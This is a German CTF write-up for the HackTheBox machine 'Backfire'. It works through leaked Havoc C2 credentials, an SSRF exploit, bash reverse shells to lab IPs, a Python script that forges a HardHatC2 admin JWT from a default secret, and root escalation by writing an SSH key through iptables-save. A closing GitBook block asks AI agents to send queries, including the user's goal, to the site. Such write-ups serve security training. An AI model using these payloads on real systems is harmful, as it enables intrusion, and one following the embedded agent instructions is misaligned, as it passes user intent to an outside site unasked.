> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md). # Backfire HackTheBox Writeup Backfire HackTheBox Medium Linux-Maschine Writeup zu Informationsleck (Yaotl-Datei), Havoc-C2-Exploitation (Port 40046), SSH-Schlüssel-Erstellung, Pivoting (User: Sergej), mit praktischer Enumeration, e {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Informationsleckage (Yaotl-Datei) * Ausnutzung von Havoc-C2 (Port 40046) * Erstellung eines SSH-Schlüssels * Pivoting (Benutzer: Sergej) * Ausnutzung von HardHat (Port 7096) * HardHat - Authentifizierung umgehen * HardHat - Remote-Code-Ausführung * Sudo-Rechteausweitung (IPTables) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts ```

Port-Versionsscan mit Nmap: (22,443,8000) Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted ```

### Port 8000 Auf Port 8000 finden wir zwei interessante Dateien: * `disable_tls.path` * `havoc.yaotl`

Das **havoc.yaotl** Die Datei enthält zwei Benutzer mit ihren Passwörtern und einen Domainnamen: * **ilya:** `CobaltStr1keSuckz!` * **sergej:** `1w4nt2sw1tch2h4rdh4tc2` * **Host:** `backfire.htb`

Wir fügen diesen Hostnamen in unsere `/etc/hosts` Datei für einen leichteren Zugriff ein.

Das **disable/ tls.path** Die Datei enthält einen Patch, um TLS auf dem WebSocket-Management-Port (40056) in Havoc zu deaktivieren. Dieser Patch ersetzt "wss\://" durch "ws\://" und entfernt die SSL-Konfiguration sowohl für den Client als auch für den Server. Der Autor rechtfertigt diese Änderung damit, dass dieser Port nur lokale Verbindungen per SSH-Forwarding akzeptiert und so die Sicherheitsrisiken reduziert. Dieser Patch scheint auch eine Ironie gegenüber dem Benutzer **sergej**schnelle Arbeit.

## Port 40046 Havoc-C2 {% embed url="" %} Um die SSRF-Schwachstelle in Havoc auszunutzen, erstellen wir ein `payload.sh` Datei mit folgendem Code: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.254/4444 0>&1 ``` Als Nächstes richten wir einen Webserver ein, um unser Payload mit dem folgenden Befehl bereitzustellen: ```bash python3 -m http.server 80 ``` Anschließend lauschen wir mit netcat auf Port 4444, um die Reverse-Verbindung zu empfangen: ```bash nc -nlvp 4444 ``` Wir passen das Skript an, um die relevanten Informationen einzufügen, und führen dann den Exploit mit dem folgenden Befehl aus:

```bash python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056 ``` **Benutzerzugang:** Der Benutzer **ilya** ermöglicht es dir, eine Verbindung zur Zielmaschine herzustellen.

#### Terminal-Stabilisierung

script /dev/null -c bash
Drücke `Ctrl+Z` und stabilisiere dann das Terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184

### Flag user.txt

Wir beobachten, dass ein Cron-Job unsere Sitzung alle 2 Minuten beendet. Um dieses Problem zu umgehen, werden wir SSH-Schlüssel erstellen. ### **SSH-Schlüssel erstellen:** Wir erzeugen einen neuen SSH-Schlüssel mit dem folgenden Befehl: {% code overflow="wrap" %} ```bash ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa ``` {% endcode %}

Anschließend ändern wir die `authorized_keys` Datei, um unseren öffentlichen Schlüssel hinzuzufügen: {% code overflow="wrap" %} ```bash echo "YOU KEY" | tee -a ~/.ssh/authorized_keys ``` {% endcode %}

Anschließend verbinden wir uns per SSH mit der Zielmaschine: ```bash ssh ilya@backfire.htb ```

### **Pivot zu Benutzer Sergej** Im Verzeichnis des Benutzers `ilya`, finden wir eine Datei `hardhat.txt` mit der folgenden Nachricht: > Sergej sagte, dass er HardHatC2 zu Testzwecken installiert und die Standardeinstellungen nicht geändert hat. Ich hoffe, er bevorzugt Havoc, weil ich nicht noch ein weiteres C2-Framework und Go lernen möchte

Wir untersuchen die internen Ports mit dem `netstat` Befehl: ```bash netstat -tuln ``` Die Ports 5000 und 7096 scheinen besonders interessant zu sein.

**Portweiterleitung:** Wir führen mit SSH eine Portweiterleitung durch, um auf interne Dienste zuzugreifen: ```bash ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb ``` ## **Port 7096 - HardHatC2 CMS:** Auf Port 7096 finden wir das HardHat CMS.

### **Umgehung der HardHat-C2-Authentifizierung** {% embed url="" %} Wir verwenden das folgende Skript, um die Authentifizierung zu umgehen und einen neuen Benutzer zu erstellen: ```python import jwt import datetime import uuid import requests rhost = '127.0.0.1:5000' # Admin-JWT erstellen secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq" issuer = "hardhatc2.com" now = datetime.datetime.utcnow() expiration = now + datetime.timedelta(days=28) payload = { "sub": "HardHat_Admin", "jti": str(uuid.uuid4()), "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1", "iss": issuer, "aud": issuer, "iat": int(now.timestamp()), "exp": int(expiration.timestamp()), "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator" } token = jwt.encode(payload, secret, algorithm="HS256") print("Generiertes JWT:") print(token) # Admin-JWT verwenden, um einen neuen Benutzer „sth_pentest“ als TeamLead zu erstellen burp0_url = f"https://{rhost}/Login/Register" burp0_headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } burp0_json = { "password": "jordan12345", "role": "TeamLead", "username": "jordan" } r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False) print(r.text) ``` Das Skript erzeugt den Benutzer `jordan` mit der Rolle `TeamLead`.

### Hardhat C2 (RCE) Auf der `ImplantInteract` Teil haben wir Zugriff auf ein Terminal. Beim Ausführen des `whoami` Befehls sehen wir, dass wir als Benutzer angemeldet sind `sergej`.

Wir richten eine Reverse Shell für den Benutzer ein `sergej` indem wir auf Port 443 lauschen: ```bash nc -nlvp 443 ``` Und führen wir den folgenden Befehl aus, um die Reverse-Verbindung herzustellen ```bash bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1" ``` Sobald die Verbindung hergestellt ist, fügen wir unseren SSH-Schlüssel zu `authorized_keys` hinzu, um uns später leichter erneut verbinden zu können:

```bash echo "your key" | tee -a ~/.ssh/authorized_keys ``` ## **Privilegieneskalation :** ### **Sudo - IP-Tables** **Überprüfung der Sudo-Rechte** Zunächst prüfen wir die auf der Maschine verfügbaren Sudo-Rechte: ```bash sudo -l ```

Wir stellen fest, dass der Benutzer `sudo` für die folgenden Befehle Passwort-lose Rechte hat: * `/usr/sbin/iptables` * `/usr/sbin/iptables-save` **Erzeugen eines SSH-Schlüsselpaares** Wir erzeugen ein SSH-Schlüsselpaar, um unseren öffentlichen Schlüssel in die Authentifizierungsdateien von root einzuschleusen: ```bash ssh-keygen -t ed25519 ``` Hier ist der erzeugte öffentliche Schlüssel: {% code overflow="wrap" %} ``` ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot ``` {% endcode %} **Einschleusen des öffentlichen Schlüssels in iptables** Wir verwenden das `--comment` Feld von `iptables` um unseren öffentlichen Schlüssel in eine Regel einzuschleusen {% code overflow="wrap" %} ```bash sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n' ``` {% endcode %} Wir prüfen, ob die Regel hinzugefügt wurde: ```bash sudo /usr/sbin/iptables -L ```

**In der Datei authorized/\_keys speichern** Wir speichern die iptables-Regeln in einer Datei, die als die \`authorized\_keys2\`-Datei des root-Benutzers verwendet wird `authorized_keys` Datei ein: ```bash sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2 ``` **Als root anmelden** Schließlich können wir uns per SSH als root verbinden: ```bash ssh root@backfire.htb ```

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.